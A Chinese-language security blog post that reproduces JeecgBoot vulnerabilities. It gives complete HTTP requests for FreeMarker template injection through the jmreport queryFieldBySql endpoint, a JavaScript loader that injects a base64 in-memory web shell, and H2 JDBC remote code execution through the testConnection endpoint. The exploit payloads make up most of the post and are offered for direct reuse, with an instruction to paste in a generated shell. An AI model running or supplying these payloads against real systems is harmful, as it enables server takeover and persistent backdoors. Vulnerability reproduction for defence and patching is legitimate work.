[漏洞复现]JeecgBoot queryFieldBySql注入内存马利用及JDBC RCE复现

如果觉得改博主的文章对您有帮助的话，麻烦可以移步同名公众号：良月安全。点一个关注，感谢各位师傅支持。

想了解漏洞的具体分析可以去c0olw师傅的博客，这里引个路：JeecgBoot SSTI以及JDBC RCE 复现 | 凉风’s Blog (c0olw.github.io)

queryFieldBySql内存马5

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 123

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"open -a calculator.app  \") }' "}

注入内存马，这里利用pen4uin师傅的内存马工具pen4uin/java-memshell-generator: 一款支持高度自定义的 Java 内存马生成工具｜A highly customizable Java memory-shell generation tool. (github.com)

使用内存马工具生成payload，将生成的base64格式的内存马替换payload 中bytecodeBase64的值

{"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}catch(e){clsString=classLoader.loadClass('java.lang.String');bytecodeBase64='这里填入base64的内存马';try{clsBase64=classLoader.loadClass('java.util.Base64');clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');clsByteArray=(''.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();};#{1};\")}","dbSource":"","type":"0"}

在这里插入图片描述
内存马路径为：http://ip:port/jeecg-boot/jmreport/queryFieldBySql/

JDBC RCE

POST /jeecgboot/jmreport/testConnection HTTP/1.1
Host: ip:port
Content-Length: 383
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
  "id": "1",
  "code": "dataSource1",
  "dbType": "H2",
  "dbDriver": "org.h2.Driver",
  "dbUrl": "jdbc:h2:mem:test;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('open -a calculator.app')\u000A$$",
  "dbName": "test",
  "dbUsername": "sa",
  "dbPassword": "",
  "connectTimes": 5
}

在这里插入图片描述